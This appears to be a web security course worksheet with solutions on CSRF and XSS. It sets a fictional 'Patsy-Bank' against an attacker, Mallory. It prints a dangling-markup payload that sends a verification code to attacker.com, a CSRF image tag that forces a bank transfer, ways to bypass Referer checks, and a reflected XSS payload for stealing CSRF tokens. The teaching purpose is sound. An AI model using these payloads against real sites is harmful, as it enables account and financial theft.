CSRF and XSS

Question 1 ***Cross-site not scripting*** ()

Consider a simple web messaging service. You receive messages from other users. The page shows all messages sent to you. Its HTML looks like this:

```
Mallory: Do you have time for a conference call?
Steam: Your account verification code is 86423
Mallory: Where are you? This is <b>important!!!</b>
Steam: Thank you for your purchase
       <img src="https://store.steampowered.com/assets/thankyou.png">
```

The user is off buying video games from Steam, while Mallory is trying to get ahold of them.

Users can include **arbitrary HTML code** messages and it will be concatenated into the page, **unsanitized**. Sounds crazy, doesn't it? However, they have a magical technique that prevents *any* JavaScript code from running. Period.

Discuss what an attacker could do to snoop on another user's messages. What specially crafted messages could Mallory have sent to steal this user's account verification code?

Solution:

```
Mallory: Hi <img src="https://attacker.com/save?message=
Steam: Your account verification code is 86423
Mallory: "> Enjoying your weekend?
```

This makes a request to `attacker.com`, sending the account verification code as part of the URL.

Take injection attacks seriously, even if modern defenses like Content Security Policy effectively prevent XSS.

Question 2 ***Cross-Site Request Forgery (CSRF)*** ()

In a CSRF attack, a malicious user is able to take action on behalf of the victim. Consider the following example. Mallory posts the following in a comment on a chat forum:

```
<img src="http://patsy-bank.com/transfer?amt=1000&to=mallory"/>
```

Of course, Patsy-Bank won't let just anyone request a transaction on behalf of any given account name. Users first need to authenticate with a password. However, once a user has authenticated, Patsy-Bank associates their session ID with an authenticated session state.

(a) Explain what could happen when Alice visits the chat forum and views Mallory's comment.

> **Solution:** The `img` tag embedded in the form causes the browser to make a request to `http://patsy-bank.com/transfer?amt=1000&to=mallory` with Patsy-Bank's cookie. If Alice was previously logged in (and didn't log out), Patsy-Bank might assume Alice is authorizing a transfer of 1000 USD to Mallory.

(b) Patsy-Bank decides to check that the `Referer` header contains patsy-bank.com. Will the attack above work? Why or why not?

> **Solution:** In most cases, it will solve the problem since the `Referer` header will contain the blog's URL instead of patsy-bank.com.
>
> However, not all browsers send the `Referer` header, and even when they do, not all requests include it.

(c) Describe one way Mallory can modify her attack to always get around this check

> **Solution:** She can have the link go to a URL under Mallory's control which contains patsy-bank.com such as `patsy-bank.com.attacker.com` or `attacker.com/attack?dummy=patsy-bank.com`. Then this page can redirect to the original malicious link. Now the `Referer` header will pass the check.
>
> Another solution, is if the Patsy-Bank has a so-called "open redirect" `http://patsy-bank.com/redirect?to=`*url*, the referrer for the redirected request will be `http://patsy-bank.com/redirect?to=...`. An attacker can abuse this functionality by causing a victim's browser to fetch a URL like `http://patsy-bank.com/redirect?to=http://patsy-bank.com/transfer`..., and from patsy-bank.com's perspective, it will see a subsequent request for `http://patsy-bank.com/transfer`... that indeed has a `Referer` from patsy-bank.com.

(d) Recall that the `Referer` header provides the full URL. HTTP additionally offers an `Origin` header which acts the same as the `Referer` but only includes the website domain, not the entire URL. Why might the `Origin` header be preferred?

> **Solution:** Leaking the entire URL can be a violation of privacy against users. As an example, consider Alice transferred money by visiting `http://patsy-bank.com/transfer?amt=1000&to=bob` and subsequently went to a website under an attacker's control - now the attacker has learned the exact amount of money Alice sent and to who. The `Origin` header would only leak that Alice was at the patsy-bank.com.
>
> As a sidenote not directly related to the question, the `Origin` is a very useful way to solve the CSRF problem since it makes it much easier for multiple, trusted sites to make some action. For example, Patsy-Bank might trust `http://www.trustedcreditcardcompany.com` to directly transfer money from a user's account. This is a use-case that the CSRF token-based solution doesn't support cleanly.

(e) Almost all browsers support an additional cookie field `SameSite`. When `SameSite=strict`, the browser will only send the cookie if the requested domain **and** origin domain correspond to the cookie's domain. Which CSRF attacks will this stop? Which ones won't it stop? Give one big drawback of setting `SameSite=strict`.

> **Solution:** It stops almost all CSRF attacks, except those involving open redirects from the website in question or if the website itself has an XSS vulnerability (discussed in the next problem).
>
> However, setting `SameSite=strict` can greatly limit functionality since any external links that require a user to be logged in won't work. For instance, consider a friend sends you a Facebook link via email, clicking on that link will require you to sign in again since your session cookie wasn't sent with the request.

Question 3 *CSRF++* ()

Patsy-Bank learned about the CSRF flaw on their site described above. They hired a security consultant who helped them fix it by adding a random CSRF token to the sensitive `/transfer` request. A valid request now looks like:

```
https://patsy-bank.com/transfer?to=bob&amount=10&token=<random>
```

The CSRF token is chosen randomly, separately for each user.

Not one to give up easily, Mallory starts looking at the welcome page. She loads the following URL in her browser:

```
https://patsy-bank.com/welcome?name=<script>alert("Jackpot!");</script>
```

When this page loaded, Mallory saw an alert pop up that says "Jackpot!". She smiles, knowing she can now force other bank customers to send her money.

(a) What kind of attack is the welcome page vulnerable to? Provide the name of the category of attack.

> **Solution:** Reflected XSS

(b) Mallory plans to use this vulnerability to bypass the CSRF token defense. She'll replace the `alert("Jackpot!");` with some carefully chosen JavaScript. What should her JavaScript do?

> **Solution:** Load a payment form, extract the CSRF token, and then submit a transfer request with that CSRF token.
>
> Or: Load a payment form, extract the CSRF token, and send it to Mallory.

(c) `patsy-bank.com` sets `SameSite=strict` for all of its cookies. Does this stop the attack from part (b)? Assume the welcome page does not require a user to be logged in.

> **Solution:** Nope, because the malicious request will be sent from the welcome page of patsy-bank.com which is of the correct origin domain.

(d) Mallory wants to attack Bob, a customer of Patsy-Bank. Name one way that Mallory could try to get Bob to click on a link she constructed.

> **Solution:** Send him an email with this link (making it look like a link to somewhere interesting). Post the link on a forum he visits. Set up a website that Bob will visit, and have the website open that link in an iframe. Send Bob a text message or a message on Facebook with the link.

(There are many possible answers.)